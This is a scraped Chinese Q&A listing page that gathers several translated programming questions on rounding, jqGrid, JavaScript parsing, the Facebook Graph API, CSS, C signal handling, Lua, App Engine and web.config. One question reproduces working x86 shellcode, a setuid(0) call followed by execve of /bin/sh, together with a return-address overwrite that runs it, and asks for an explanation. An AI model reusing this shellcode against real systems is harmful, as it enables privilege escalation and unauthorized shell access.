问题列表 - 第25653页

舍入到给定基数的最接近整数次幂

我正在尝试将一个数字舍入到另一个数字的下一个最小幂.我不是特别关注它的方向,但如果可能的话,我更倾向于向下.

x我正在舍入的数字将满足:x > 0,并且通常适合该范围0 < x <= 1.它很少会超过1.

更一般地说,我的问题是:给定一个数字x,我怎样才能将它舍入到某个基数的最接近的整数幂b

我希望能够向任意基础四舍五入,但我现在最关心的是基数2和2的分数幂,如2 ^(1/2),2 ^(1/4),和等等.这是我目前的基数2算法.

double roundBaseTwo(double x)
{
    return 1.0 / (1 << (int)((log(x) * invlog2))
}
Run Code Online (Sandbox Code Playgroud)

任何帮助,将不胜感激!

algorithm math rounding

4
推荐指数
1
解决办法
709
查看次数

jqGrid触发"正在加载..."叠加

有没有人知道如何触发股票jqGrid"加载..."叠加,在网格加载时显示?我知道我可以毫不费力地使用jquery插件,但我希望能够保持我的应用程序的外观与jqGrid中已经使用的内容一致.

我发现的关闭事情是这样的:

更新表/自定义更新时,jqGrid显示默认的"加载"消息

  • N8

overlay loading jqgrid

13
推荐指数
2
解决办法
4万
查看次数

为简单的数学运算生成语法树

我正在尝试为具有简单数学运算符(+, - ,*,/和括号)的给定字符串生成语法树.给定字符串"1 + 2*3":

http://img248.imageshack.us/img248/3213/misc9928.png

它应该返回一个这样的数组:

["+",
 [1,
  ["*",
   [2,3]
  ]
 ]
]
Run Code Online (Sandbox Code Playgroud)

我做了一个函数来转换[1,"+",2,"*",3]中的"1 + 2*3".

问题是:我不知道优先考虑某些操作.

我的代码是:

function isNumber(ch){
    switch (ch) {
        case '0':
        case '1':
        case '2':
        case '3':
        case '4':
        case '5':
        case '6':
        case '7':
        case '8':
        case '9':
        case '.':
            return true;
        break;
        default:
            return false;
            break;
    }
}

function generateSyntaxTree(text){
    if (typeof text != 'string') return [];
    var code = text.replace(new RegExp("[ \t\r\n\v\f]", "gm"), "");
    var codeArray = [];
    var syntaxTree = []; …
Run Code Online (Sandbox Code Playgroud)

javascript parse-tree

8
推荐指数
1
解决办法
3732
查看次数

Facebook access_token无效?

我正在尝试使用最近发布的新的Graph API Facebook,但我似乎无法让它正常工作.

我已经完成了这些步骤,在/ authorize调用之后,我收到了一个access_token:

access_token=109002049121898|nhKwSTJVPbUZ5JYyIH3opCBQMf8.
Run Code Online (Sandbox Code Playgroud)

当我尝试使用该令牌时,我得到:

{
   "error": {
      "type": "QueryParseException",
      "message": "An active access token must be used to query information about the current user."
   }
}
Run Code Online (Sandbox Code Playgroud)

我也难过为什么......

-AC

facebook oauth

13
推荐指数
2
解决办法
5万
查看次数

如何在Google Chrome中使用'font-weight:lighter'?

Google Chrome(可能还有Safari)中的'font-weight:normal'和'font-weight:bold'之间似乎没有任何区别.有没有人找到一种方法来像Chrome一样在Chrome中调用'font-weight:thinner'?

css fonts cross-browser

9
推荐指数
1
解决办法
1万
查看次数

C SIGSEGV Handler&Mprotect

我正在构建一个程序,它使用mprotect()来限制一块内存访问.当请求内存时,抛出SIGSEGV,我使用signal()调用来监听.

一旦检测到SIGSEGV,我需要以某种方式访问​​指向所请求的内存(引发错误)的指针以及所请求的段的大小.这可能吗?

void fifoSigHandler(){

    // Needs to only remove protection from requested block of virtual memory
    mprotect(fifoVm,(size_t)fifoVm_size,PROT_WRITE);
    printf("Caught Seg Fault");
}

void fifo_init(void* vm, int vm_size, int n_frames, int page_size)
{
    fifoVm = vm;
    fifoVm_size = vm_size;
    fifoFrames = n_frames;
    fifoPageSize = page_size;

    mprotect(fifoVm,(size_t)fifoVm_size,PROT_NONE);

    signal(SIGSEGV, fifoSigHandler);
}
Run Code Online (Sandbox Code Playgroud)

另外,有没有办法确定当前分配的内存块(PROT_NONE,PROT_READ等等)的mprotect()级别?

signals handler mprotect segmentation-fault

4
推荐指数
1
解决办法
3208
查看次数

如何获取Lua表中的条目数?

听起来像是"让我谷歌给你"的问题,但不知怎的,我找不到答案.Lua #运算符仅使用整数键计数条目,因此table.getn:

tbl = {}
tbl["test"] = 47
tbl[1] = 48
print(#tbl, table.getn(tbl))   -- prints "1     1"

count = 0
for _ in pairs(tbl) do count = count + 1 end
print(count)            -- prints "2"
Run Code Online (Sandbox Code Playgroud)

如何在不计算所有条目的情况下获取所有条目的数量?

lua

120
推荐指数
5
解决办法
19万
查看次数

服务器端包含在应用引擎上(<! - include virtual ="header.html" - >)?

我一直想弄清楚这一点.我想让我的应用引擎网站使用基本的html和shtml,以避免应用引擎上的jsp应用程序的缓慢预热阶段.这样我的目标网页就会立即加载.

基本上,我试图将html文件包含到我的主html文件中(index.html - 我尝试了index.shtml).这是我尝试的命令:

<!-- include virtual="header.html" -->
Run Code Online (Sandbox Code Playgroud)

但它不起作用.服务器端包括似乎没有在应用程序引擎中执行.我是否需要先在某处启用这些命令 - 或者应用引擎是否只是不允许它们?

google-app-engine server-side-includes

2
推荐指数
1
解决办法
1140
查看次数

任何人都可以向我解释这个代码吗?

警告:这是一个漏洞.不要执行此代码.

//shellcode.c

char shellcode[] =
    "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main() { 
    int *ret; //ret pointer for manipulating saved return.

    ret = (int *)&ret + 2; //setret to point to the saved return
                           //value on the stack.

    (*ret) = (int)shellcode; //change the saved return value to the
                             //address of the shellcode, so it executes.
}
Run Code Online (Sandbox Code Playgroud)

谁能给我一个更好的解释?

c stack exploit shellcode

14
推荐指数
4
解决办法
6429
查看次数

在web.config位置元素中无法识别InheritInChildApplications属性

我试过包装我的

<system.web>
Run Code Online (Sandbox Code Playgroud)

<location path="." InheritInChildApplications="false">
Run Code Online (Sandbox Code Playgroud)

像这样

<location path="." InheritInChildApplications="false">
<system.web>...</system.web>
</location>
Run Code Online (Sandbox Code Playgroud)

但VS 2010 Web Developer Express一直在说

不允许使用"InheritInChildApplications"属性

当我运行我的网络应用程序时出现错误:

HTTP错误500.19 - 内部服务器错误
无法访问请求的页面,因为页面的相关配置数据无效.

配置错误无法识别的属性'InheritInChildApplications'.

我的配置:ASP.NET 4.0 RTM,VS 2010,IIS 7.5

asp.net asp.net-mvc web-config

27
推荐指数
3
解决办法
2万
查看次数